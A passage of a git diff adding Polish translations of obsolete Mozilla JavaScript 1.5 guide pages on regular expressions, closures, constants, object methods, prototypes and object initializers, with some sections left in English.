<code>Change</code> zostaje aktywowane, kiedy użytkownik naciśnie klawisz Enter ustawiając wartość <code>RegExp.input</code>.</p> +<pre><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" + "http://www.w3.org/TR/html4/loose.dtd"> +<html> + <head> + <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-2"> + <meta http-equiv="Content-Script-Type" content="text/javascript"> + <script type="text/javascript"> + var re = /\(?\d{3}\)?([-\/\.])\d{3}\1\d{4}/; + + function testInfo(phoneInput) + { + var OK = re.exec(phoneInput.value); + + if (!OK) + { + window.alert(RegExp.input + " nie jest wprowadzony numerem kierunkowy!"); + } + else + { + window.alert("Dziękuję, Twój numer telefonu to " + OK[0]); + } + } + </script> + </head> + + <body> + <p>Wprowadź numer telefonu (z numerem kierunkowym), a następnie naciśnij klawisz Enter.</p> + <form action=""> + <input name="phone" onchange="testInfo(this);"> + </form> + </body> +</html> +</pre> +<div class="noinclude"> + <p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście", "Przewodnik po języku JavaScript 1.5:Blok instrukcji") }}</p> +</div> +<p> </p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_zamknięciami/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_zamknięciami/index.html new file mode 100644 index 0000000000..fc71b64cad --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_zamknięciami/index.html @@ -0,0 +1,286 @@ +--- +title: Praca z zamknięciami +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_zamknięciami +--- +<h3 id="Praca_z_zamknięciami" name="Praca_z_zamknięciami">Praca z zamknięciami</h3> + +<p>Zamknięcia są często uważane za zaawansowaną właściwość JavaScript, ale zrozumienie ich jest niezbędne do opanowania tego języka.</p> + +<p>Rozważmy następującą funkcję:</p> + +<pre class="brush: js">function init() { + var name = "Mozilla"; + function displayName() { + alert(name); + } + displayName(); +} +</pre> + +<p>Funkcja <code>init()</code> tworzy lokalną zmienną o nazwie <code>name</code>, i następnie definiuje funkcję nazwaną <code>displayName()</code>. <code>displayName()</code> jest wewnętrzną funkcją - jest zdefiniowana wewnątrz funkcji <code>init()</code>, i jest dostępna jedynie w zasięgu ciała tej funkcji. <code>displayName()</code> nie posiada własnych lokalnych zmiennych, ale używa zmiennej <code>name</code> zadeklarowanej w funkcji zewnętrznej.</p> + +<p>Działa to całkiem nieźle - spróbujmy wykonać kod, aby zobaczyć co się stanie. To jest przykład <em>leksykalnego zasięgu</em>: w JavaScript, zasięg zmiennej jest zdefiniowany przez jej położenie w kodzie źródłowym, i zagnieżdżone funkcje mają dostęp do zmiennych zadeklarowanych w ich zewnętrznym obszarze.</p> + +<p>Teraz rozważmy następny przykład:</p> + +<pre class="brush: js">function makeFunc() { + var name = "Mozilla"; + function displayName() { + alert(name); + } + return displayName; +} + +var myFunc = makeFunc(); +myFunc(); +</pre> + +<p>Po wykonaniu kodu otrzymamy identyczny efekt jak poprzedni przykład z funkcją <code>init()</code>: łańcuch "Mozilla" zostanie wyświetlony w oknie alertowym JavaScript. Jaka jest różnica - i co ciekawsze - Czy wewnętrzna funkcja <code>displayName()</code> została zwrócona z zewnętrznej funkcji zanim została wykonana?</p> + +<p>Kod działa, lecz może się on wydawać nieintuicyjny. Normalnie, lokalne zmienne wewnątrz funkcji istnieją tylko podczas jej wykonywania. Kiedy <code>makeFunc()</code> została wykonana, spodziewamy się - i ma to sens - że zmienna <code>name</code> nie będzie więcej potrzebna. Skoro kod wykonuje oczekiwaną pracę, oczywiście nie ma mowy o przypadku.</p> + +<p>Rozwiązaniem tej zagadki jest fakt, że funkcja <code>myFunc</code> zostaje <em>zamknięciem</em>. Zamknięcie jest specjalnym rodzajem obiektu, który łączy dwie rzeczy: funkcję i środowisko, w którym ta funkcja została utworzona. The environment consists of any local variables that were in-scope at the time that the closure was created. In this case, <code>myFunc</code> is a closure that incorporates both the <code>displayName</code> function and the "Mozilla" string that existed when the closure was created.</p> + +<p>Here's a slightly more interesting example - a <code>makeAdder</code> function:</p> + +<pre class="brush: js">function makeAdder(x) { + return function(y) { + return x + y; + }; +} + +var add5 = makeAdder(5); +var add10 = makeAdder(10); + +print(add5(2)); // 7 +print(add10(2)); // 12 +</pre> + +<p>In this example, we have defined a function <code>makeAdder(x)</code> which takes a single argument <code>x</code> and returns a new function. The function it returns takes a single argument <code>y</code>, and returns the sum of <code>x</code> and <code>y</code>.</p> + +<p>In essence, <code>makeAdder</code> is a function factory - it creates functions which can add a specific value to their argument. In the above example we use our function factory to create two new functions - one that adds 5 to its argument, and one that adds 10.</p> + +<p><code>add5</code> and <code>add10</code> are both closures. They share the same function body definition, but store different environments. In <code>add5</code>'s environment, <code>x</code> is 5. As far as <code>add10</code> is concerned, <code>x</code> is 10.</p> + +<h4 id="Praktyczne_zamknięcia" name="Praktyczne_zamknięcia">Praktyczne zamknięcia</h4> + +<p>That's the theory out of the way - but are closures actually useful? Let's consider their practical implications. A closure lets you associate some data (the environment) with a function that operates on that data. This has obvious parallels to object oriented programming, where objects allow us to associate some data (the object's properties) with one or more methods.</p> + +<p>Consequently, you can use a closure anywhere that you might normally use an object with only a single method.</p> + +<p>Situations where you might want to do this are particularly common on the web. Much of the code we write in web JavaScript is event-based - we define some behavior, then attach it to an event that is triggered by the user (such as a click or a keypress). Our code is generally attached as a callback: a single function which is executed in response to the event.</p> + +<p>Here's a practical example: suppose we wish to add to a page buttons that adjust the size of the page text. One way of doing this is to specify the font-size of the body element in pixels, then set the size of the other elements on the page (such as headers) using the relative em unit:</p> + +<pre class="brush: css">body { + font-family: Helvetica, Aria, sans-serif; + font-size: 12px; +} + +h1 { + font-size: 1.5em; +} +h2 { + font-size: 1.2em; +} +</pre> + +<p>Our interactive text size buttons can change the font-size property of the body element, and the adjustments will be picked up by other elements on the page thanks to the relative units.</p> + +<p>Here's the JavaScript:</p> + +<pre class="brush: js">function makeSizer(size) { + return function() { + document.body.style.fontSize = size + 'px'; + }; +} + +var size12 = makeSizer(12); +var size14 = makeSizer(14); +var size16 = makeSizer(16); +</pre> + +<p><code>size12</code>, <code>size14</code> and <code>size16</code> are now functions which will resize the body text to 12, 14, and 16 pixels, respectively. We can attach them to buttons (in this case links) as follows:</p> + +<pre class="brush: js">function setupButtons() { + document.getElementById('size-12').onclick = size12; + document.getElementById('size-14').onclick = size14; + document.getElementById('size-16').onclick = size16; +}</pre> + +<pre class="brush: html"><a href="#" id="size-12">12</a> +<a href="#" id="size-14">14</a> +<a href="#" id="size-16">16</a> +</pre> + +<h4 id="Emulating_private_methods_with_closures" name="Emulating_private_methods_with_closures">Emulating private methods with closures</h4> + +<p>Languages such as Java provide the ability to declare methods private, meaning that they can only be called by other methods in the same class.</p> + +<p>JavaScript does not provide a native way of doing this, but it is possible to emulate private methods using closures. Private methods aren't just useful for restricting access to code: they also provide a powerful way of managing your global namespace, keeping non-essential methods from cluttering up the public interface to your code.</p> + +<p>Here's how to define some public functions that can access private functions and variables, using closures:</p> + +<pre class="brush: js">var Counter = (function() { + var privateCounter = 0; + function changeBy(val) { + privateCounter += val; + } + return { + increment: function() { + changeBy(1); + }, + decrement: function() { + changeBy(-1); + }, + value: function() { + return privateCounter; + } + } +})(); + +alert(Counter.value()); /* Alerts 0 */ +Counter.increment(); +Counter.increment(); +alert(Counter.value()); /* Alerts 2 */ +Counter.decrement(); +alert(Counter.value()); /* Alerts 1 */ +</pre> + +<p>There's a lot going on here. In previous examples each closure has had its own environment; here we create a single environment which is shared by three functions: <code>Counter.increment</code>, <code>Counter.decrement</code> and <code>Counter.value</code>.</p> + +<p>The shared environment is created in the body of an anonymous function, which is executed as soon as it has been defined. The environment contains two private items: a variable called <code>privateCounter</code> and a function called <code>changeBy</code>. Neither of these private items can be accessed directly from outside the anonymous function. Instead, they must be accessed by the three public functions that are returned from the anonymous wrapper.</p> + +<p>Those three public functions are closures that share the same environment. Thanks to JavaScript's lexical scoping, they each have access to the <code>privateCounter</code> variable and <code>changeBy</code> function.</p> + +<p>Using closures in this way provides a number of benefits that are normally associated with object oriented programming, in particular data hiding and encapsulation.</p> + +<h4 id="Creating_closures_in_loops:_A_common_mistake" name="Creating_closures_in_loops:_A_common_mistake">Creating closures in loops: A common mistake</h4> + +<p>Prior to the introduction of the <code>let</code> keyword in JavaScript 1.7, a common problem with closures occurred when they were created inside a loop. Consider the following example:</p> + +<pre class="brush: html"><p id="help">Helpful notes will appear here</p> +<p>E-mail: <input type="text" id="email" name="email"></p> +<p>Name: <input type="text" id="name" name="name"></p> +<p>Age: <input type="text" id="age" name="age"></p> +</pre> + +<pre class="brush: js">function showHelp(help) { + document.getElementById('help').innerHTML = help; +} + +function setupHelp() { + var helpText = [ + {'id': 'email', 'help': 'Your e-mail address'}, + {'id': 'name', 'help': 'Your full name'}, + {'id': 'age', 'help': 'Your age (you must be over 16)'} + ]; + + for (var i = 0; i < helpText.length; i++) { + var item = helpText[i]; + document.getElementById(item.id).onfocus = function() { + showHelp(item.help); + } + } +} +</pre> + +<p>The <code>helpText</code> array defines three helpful hints, each associated with the ID of an input field in the document. The loop cycles through these definitions, hooking up an onfocus event to each one that shows the associated help method.</p> + +<p>If you try this code out, you'll see that it doesn't work as expected. No matter what field you focus on, the message about your age will be displayed.</p> + +<p>The reason for this is that the functions assigned to onfocus are closures; they consist of the function definition and the captured environment from the <code>setupHelp</code> function's scope. Three closures have been created, but each one shares the same single environment. By the time the onfocus callbacks are executed, the loop has run its course and the item variable (shared by all three closures) has been left pointing to the last entry in the <code>helpText</code> list.</p> + +<p>One solution in this case is to use more closures: in particular, to use a function factory as described earlier on:</p> + +<pre class="brush: js">function showHelp(help) { + document.getElementById('help').innerHTML = help; +} + +function makeHelpCallback(help) { + return function() { + showHelp(help); + }; +} + +function setupHelp() { + var helpText = [ + {'id': 'email', 'help': 'Your e-mail address'}, + {'id': 'name', 'help': 'Your full name'}, + {'id': 'age', 'help': 'Your age (you must be over 16)'} + ]; + + for (var i = 0; i < helpText.length; i++) { + var item = helpText[i]; + document.getElementById(item.id).onfocus = makeHelpCallback(item.help); + } +} +</pre> + +<p>This works as expected. Rather than the callbacks all sharing a single environment, the <code>makeHelpCallback</code> function creates a new environment for each one in which <code>help</code> refers to the corresponding string from the <code>helpText</code> array.</p> + +<p>If you are using JavaScript 1.7 or higher, you can solve this problem by using the <code>let</code> keyword to create a variable that has block level scope:</p> + +<pre class="brush: js"> for (var i = 0; i < helpText.length; i++) { + let item = helpText[i]; + document.getElementById(item.id).onfocus = function() { + showHelp(item.help); + } + } +</pre> + +<p>The <code>let</code> keyword causes the item variable to be created with block level scope, causing a new reference to be created for each iteration of the for loop. This means that a separate variable is captured for each closure, solving the problem caused by the shared environment.</p> + +<h4 id="Performance_considerations" name="Performance_considerations">Performance considerations</h4> + +<p>It is unwise to unnecessarily create functions within other functions if closures are not needed for a particular task as it will negatively affect script performance.</p> + +<p>For instance, when creating a new object/class, methods should normally be associated to the object's prototype rather than defined into the object constructor. The reason is that whenever the constructor is called the methods would get reassigned (that is, for every object creation).</p> + +<p>Consider the following impractical but demonstrative case:</p> + +<pre class="brush: js">function MyObject(name, message) { + this.name = String(name); + this.message = String(message); + this.getName = function() { + return this.name; + }; + + this.getMessage = function() { + return this.message; + }; +} +</pre> + +<p>The previous code does not take advantage of the benefits of closures and thus should instead be formulated:</p> + +<pre class="brush: js">function MyObject(name, message) { + this.name = String(name); + this.message = String(message); +} +MyObject.prototype = { + getName: function() { + return this.name; + }, + getMessage: function() { + return this.message; + } +}; +</pre> + +<p>Or as follows:</p> + +<pre class="brush: js">function MyObject(name, message) { + this.name = String(name); + this.message = String(message); +} +MyObject.prototype.getName = function() { + return this.name; +}; +MyObject.prototype.getMessage = function() { + return this.message; +}; +</pre> + +<p>In the two previous examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation. See <a href="/en/Core_JavaScript_1.5_Guide#Details_of_the_Object_Model" title="en/Core_JavaScript_1.5_Guide#Details_of_the_Object_Model">Core_JavaScript_1.5_Guide#Details_of_the_Object_Model</a> for more details.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/stałe/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/stałe/index.html new file mode 100644 index 0000000000..4fbd013295 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/stałe/index.html @@ -0,0 +1,29 @@ +--- +title: Stałe +slug: Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Stałe +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Grammar_and_types +--- +<p> </p> +<h3 id="Sta.C5.82e" name="Sta.C5.82e">Stałe</h3> +<p>Możesz utworzyć stałą (nazwaną i tylko do odczytu) za pomocą słowa kluczowego <code>const</code>. Składnia identyfikatora stałej jest taka sama, jak dla identyfikatora zmiennej: musi zaczynać się literą lub znakiem podkreślenia i obejmować znaki alfabetu lub cyfry.</p> +<pre>const prefix = '212';</pre> +<p>Stałe nie mogą podczas wykonywania skryptu zmieniać swojej wartości, ani być ponownie deklarowane.</p> +<p>Reguły zasięgu dotyczące stałych są takie same jak dla zmiennych, z wyjątkiem tego, że słowo kluczowe <code>const</code> jest wymagane zawsze, nawet dla stałych globalnych. W przypadku braku słowa kluczowego przyjmuje się, że identyfikator oznacza zmienną.</p> +<p>Nie można deklarować stałych o nazwie identycznej z nazwą zmiennej występującej w zasięgu tej samej funkcji. Na przykład:</p> +<pre>//TO SPOWODUJE BŁĄD +function f{}; +const f = 5; + +//TO RÓWNIEŻ SPOWODUJE BŁĄD +function f{ +const g=5; +var g; + +//instrukcje +}</pre> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Zmienne", "Przewodnik po języku JavaScript 1.5:Literały") }}</p> +<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Constants", "es": "es/Gu\u00eda_JavaScript_1.5/Constantes", "fr": "fr/Guide_JavaScript_1.5/Constantes", "ja": "ja/Core_JavaScript_1.5_Guide/Constants", "ko": "ko/Core_JavaScript_1.5_Guide/Constants" } ) }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_metod/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_metod/index.html new file mode 100644 index 0000000000..64b164df13 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_metod/index.html @@ -0,0 +1,48 @@ +--- +title: Definiowanie metod +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_metod +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Definiowanie_metod" name="Definiowanie_metod">Definiowanie metod</h3> +<p>Funkcja + <i> + method</i> + jest funkcją łączącą z obiektem. Definiujesz metodę w ten sam sposób jak definiujesz standardową funkcje. Użyj następującej składni do połączenia funkcji z istniejącym obiektem:</p> +<pre>object.methodname = function_name +</pre> +<p>gdzie: <code>object</code> jest to istniejący obiekt, <code>methodname</code> jest nazwą przydzielonej metody i <code>function_name</code> jest nazwą funkcji.</p> +<p>Możesz nazwać metodę w kontekście obiektu jako następujące:</p> +<pre>object.methodname(params); +</pre> +<p>Możesz definiować metody dla typów obiektu włączając do tego definiowanie metody w funkcji konstruktora obiektowego. Na przykład, możesz zdefiniować funkcję która będzie formatowała i wyświetlała własności poprzednio-definiowanych obiektów <code>car</code>, na przykład:</p> +<pre>function displayCar() { + var result = "A Beautiful " + this.year + " " + this.make + + " " + this.model; + pretty_print(result); +} +</pre> +<p>gdzie: <code>pretty_print</code> jest funkcją wyświetlającą wg poziomej reguły i łańcuch znaków. Uwaga przy użyciu <code>this</code> odnoszącego się do obiektu, do której metody należą.</p> +<p>Tworzymy funkcję metody <code>car</code>, poprzez dodanie instrukcji:</p> +<pre>this.displayCar = displayCar; +</pre> +<p>Do definicji obiektu. Więc, pełna definicja <code>car</code> będzie wyglądała jak</p> +<pre>function car(make, model, year, owner) { + this.make = make; + this.model = model; + this.year = year; + this.owner = owner; + this.displayCar = displayCar; +} +</pre> +<p>Teraz możemy nazwać metodę <code>displayCar</code> dla każdego następującego kodu:</p> +<pre>car1.displayCar() +car2.displayCar() +</pre> +<p>Efektem będzie produkcja wyjściowa następującego przykładu.</p> +<p><img alt="Grafika:Obja.gif"><br> + <small><b>Przykład: Wyświetlanie metody po jej wykonaniu</b></small></p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_własności_typu_obiektu/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_własności_typu_obiektu/index.html new file mode 100644 index 0000000000..e52ead3f93 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_własności_typu_obiektu/index.html @@ -0,0 +1,19 @@ +--- +title: Definiowanie własności typu obiektu +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_własności_typu_obiektu +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Definiowanie_w.C5.82asno.C5.9Bci_typu_obiektu" name="Definiowanie_w.C5.82asno.C5.9Bci_typu_obiektu">Definiowanie własności typu obiektu</h3> +<p>Dodaj własność do poprzednio zdefiniowanego typu obiektu stosując własności <code>prototype</code>. Zdefiniuje te własności, które współdzielą wszystkie obiekty określonego typu, raczej niż tylko jeden przypadek obiektu. Następnie dodajemy kod własności <code>color</code> do wszystkich obiektów typu <code>car</code> i potem przydziela wartość do własności <code>color</code> obiektu <code>car1</code>.</p> +<pre>Car.prototype.color=null; +car1.color="black"; +</pre> +<p>Zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function#W.C5.82asno.C5.9Bci">własności <code>prototype</code></a> z funkcji obiektu w <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">dokumentacji języka JavaScript</a>, aby uzyskać dodatkowe informacje.</p> +<div class="noinclude"> + </div> +<p> </p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/indeksowanie_własności_obiektu/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/indeksowanie_własności_obiektu/index.html new file mode 100644 index 0000000000..c7d904e907 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/indeksowanie_własności_obiektu/index.html @@ -0,0 +1,16 @@ +--- +title: Indeksowanie własności obiektu +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Indeksowanie_własności_obiektu +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Indeksowanie_w.C5.82asno.C5.9Bci_obiektu" name="Indeksowanie_w.C5.82asno.C5.9Bci_obiektu">Indeksowanie własności obiektu</h3> +<p>W JavaScripcie 1.0 możesz odwołać się do własności obiektu poprzez nazwę własności lub jej indeks porządkowy. Jednakże w JavaScripcie 1.1 i późniejszych, jeśli zdefiniujesz początkowo własność poprzez jej nazwę, musisz zawsze odwoływać się do niej poprzez nazwę, zaś jeśli zdefiniujesz własność poprzez indeks, musisz zawsze odwoływać się do niej poprzez ten indeks.</p> +<p>Dotyczy to sytuacji, gdy tworzysz obiekt i jego własności poprzez funkcję konstruktora, tak jak w powyższym przykładzie obiektu typu Auto oraz gdy definiujesz samodzielnie własności w sposób jawny (na przykład <code>mojeAuto.kolor = "czerwony"</code>). Dlatego jeśli definiujesz początkowo własności obiektu z indeksem, tak jak <code>mojeAuto{{ mediawiki.external(5) }} = "25 mpg"</code>, możesz później odwołać się do własności poprzez <code>myCar{{ mediawiki.external(5) }}</code>.</p> +<p>Wyjątkiem od tej reguły są obiekty zaczerpnięte z języka HTML, jak na przykład tablica <code>forms</code>. Możesz zawsze odwoływać się do obiektów w tych tablicach zarówno poprzez ich liczbę porządkową (w zależności od tego, w jakiej kolejności pojawiają się w dokumencie) lub poprzez ich nazwę (jeśli jest zdefiniowana). Przykładowo, jeśli drugi znacznik <code><FORM></code> w dokumencie posiada atrybut <code><b>NAME</b></code> o wartości "mojFormularz", możesz się odwołać do formularza przez <code>document.forms{{ mediawiki.external(1) }}</code> lub <code>document.forms{{ mediawiki.external('\"mojFormularz\"') }}</code> lub też <code>document.mojFormularz</code>. {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów:Zastosowanie konstruktorów funkcji", "Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów:Definiowanie własności typu obiektu") }}</p> +<div class="noinclude"> + </div> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/index.html new file mode 100644 index 0000000000..44ccf12523 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/index.html @@ -0,0 +1,22 @@ +--- +title: Tworzenie nowych obiektów +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Tworzenie_nowych_obiekt.C3.B3w" name="Tworzenie_nowych_obiekt.C3.B3w">Tworzenie nowych obiektów</h3> +<p>JavaScript ma liczbę obiektów predefiniowanych. W dodatku, możesz tworzyć swoje własne obiekty. W JavaScript 1.2 i późniejszych wersjach, możesz tworzyć obiekt używając inicjatora obiektu. Alternatywą, jest pierwszy tworzony konstruktor funkcji i następna instancja używanego obiektu funkcji i operatora <code>new</code>.</p> +<ul> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_inicjacji_obiektu">Używanie inicjacji obiektu</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_konstruktor%c3%b3w_funkcji">Używanie konstruktorów funkcji</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Indeksowanie_w%c5%82asno%c5%9bci_obiektu">Indeksowanie własności obiektu</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Definiowanie_w%c5%82asno%c5%9bci_typu_obiektu">Definiowanie własności typu obiektu</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Definiowanie_metod">Definiowanie metod</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_'this'_do_obiektu_referencji">Używanie <code>this</code> do obiektu referencji</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Definiowanie_metod_pobierania_i_ustawiania">Definiowanie metod pobierania i ustawiania</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Usuwanie_w%c5%82asno%c5%9bci">Usuwanie własności</a></li> +</ul> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/usuwanie_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/usuwanie_własności/index.html new file mode 100644 index 0000000000..ade0f3875e --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/usuwanie_własności/index.html @@ -0,0 +1,26 @@ +--- +title: Usuwanie własności +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Usuwanie_własności +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Usuwanie_w.C5.82a.C5.9Bciwo.C5.9Bci" name="Usuwanie_w.C5.82a.C5.9Bciwo.C5.9Bci">Usuwanie właściwości</h3> +<p>Możesz usunąć właściwość używając operatora <code><b>delete</b></code> Poniższy kod pokazuje jak usunąć właściwość.</p> +<pre>//Tworzymy nową własność, myobj, z właściwościami a i b. +myobj = new Object; +myobj.a=5; +myobj.b=12; + +//Usuwamy właściwość, opuszczając myobj z właściwością tylko b. +delete myobj.a; +</pre> +<p>Możesz także użyć <code><b>delete</b></code> do usunięcia globalnych zmiennych jeśli słowo kluczowe <code><b>var</b></code> nie było użyte do zadeklarowania zmiennej:</p> +<pre>g = 17; +delete g; +</pre> +<p>Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne#delete">delete</a> aby uzyskać więcej informacji.</p> +<div class="noinclude"> + </div> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/używanie_inicjacji_obiektu/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/używanie_inicjacji_obiektu/index.html new file mode 100644 index 0000000000..b1b38112d9 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/używanie_inicjacji_obiektu/index.html @@ -0,0 +1,36 @@ +--- +title: Używanie inicjacji obiektu +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Używanie_inicjacji_obiektu +tags: + - JavaScript + - Przewodnik_JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +--- +<h3 id="Zastosowanie_inicjacji_obiektu" name="Zastosowanie_inicjacji_obiektu">Zastosowanie inicjacji obiektu</h3> + +<p>Uzupełnieniem możliwości tworzenia obiektów poprzez konstruktora funkcji, jest inicjator obiektów. Używanie inicjatora obiektów jest czasami wiązane z tworzeniem obiektów poprzez oznaczanie literowe. "Inicjator obiektu" jest nazwą zaczerpniętą ze standardów języka C++.</p> + +<p>Składnia tworząca obiekt, używając inicjatora obiektu jest następująca:</p> + +<pre>objectName = {własność1:wartość2, własność2:wartość2,..., własnośćN:wartośćN} +</pre> + +<p>gdzie objectName jest nazwą obiektu, każda własność jest identyfikatorem (nazwą, liczbą lub ciągiem znaków) a każda wartość jest wyrażeniem, którego wartość jest przypisana do własności. objectName jak i przypisanie są opcjonalne. Jeśli w pozostałej części kodu nie potrzebujesz odwoływać się do tego obiektu, nie musisz go przypisywać do zmiennej.</p> + +<p>Jeśli obiekt został utworzony z użyciem inicjatora obiektu w głównym skrypcie, JavaScript interpretuje go za każdym razem, gdy ten przetwarza wyrażenie zawierające literał obiektu. Dodatkowo, inicjator użyty w funkcji, jest tworzony przy każdym jej wywołaniu.</p> + +<p>Poniższa instrukcja tworzy obiekt i przypisuje go do zmiennej x, tylko w przypadku, gdy warunek jest prawdziwy.</p> + +<pre>if (warunek) x = {a:"witaj"} +</pre> + +<p>Poniższy przykład tworzy obiekt mojaHonda z trzema własnościami. Należy zwrócić uwagę, iż silnik jest również obiektem z jego własnymi własnościami.</p> + +<pre>mojaHonda = {kolor:"czerwony", koła:4, silnik:{ilośćCylindrów:4, objętość:2.2}} +</pre> + +<p>Inicjatorów możesz użyć również do tworzenia tablic. Zobacz <a href="/pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.c5.82y_tablicy" title="pl/Przewodnik po języku JavaScript 1.5/Literały#Litera.c5.82y tablicy">literały tablic</a>.</p> + +<p>JavaScript 1.1 i wcześniejsze. Nie możesz używać inicjatorów obiektów. Możesz tworzyć obiekty tylko używając ich konstruktorów lub funkcji udostępnianych przez inne obiekty w tym celu. Zobacz <a href="/pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji">Zastosowanie konstruktorów funkcji</a>.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_'this'_do_obiektu_referencji/index.html 